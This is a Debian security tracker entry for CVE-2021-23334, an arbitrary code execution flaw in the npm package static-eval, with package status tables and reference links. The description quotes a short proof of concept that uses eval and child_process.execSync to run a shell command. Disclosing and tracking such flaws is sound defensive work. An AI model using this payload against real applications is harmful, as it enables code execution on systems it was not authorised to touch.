CVE-2021-23334

Name	CVE-2021-23334
Description	All versions of package static-eval are vulnerable to Arbitrary Code Execution using FunctionExpressions and TemplateLiterals. PoC: var evaluate = require('static-eval'); var parse = require('esprima').parse; var src="(function (x) { return ${eval("console.log(global.process.mainModule.constructor._load('child_process').execSync('ls').toString())")} })()" var ast = parse(src).body[0].expression; evaluate(ast)
Source	CVE (at NVD; CERT, LWN, oss-sec, fulldisc, bugtraq, EDB, Metasploit, Red Hat, Ubuntu, Gentoo, SUSE bugzilla/CVE, Mageia, GitHub code/issues, web search, more)
NVD severity	high

Vulnerable and fixed packages

The table below lists information on source packages.

Source Package	Release	Version	Status
node-static-eval (PTS)	buster	2.0.0-1	vulnerable
	bullseye, sid	2.1.0-1	vulnerable

The information below is based on the following data on fixed versions.

Package	Type	Release	Fixed Version	Urgency	Origin	Debian Bugs
node-static-eval	source	(unstable)	(unfixed)	unimportant

Notes

https://snyk.io/vuln/SNYK-JS-STATICEVAL-1056765
https://github.com/browserify/static-eval/issues/34
Explicitly documented as such by upstream: https://github.com/browserify/static-eval#security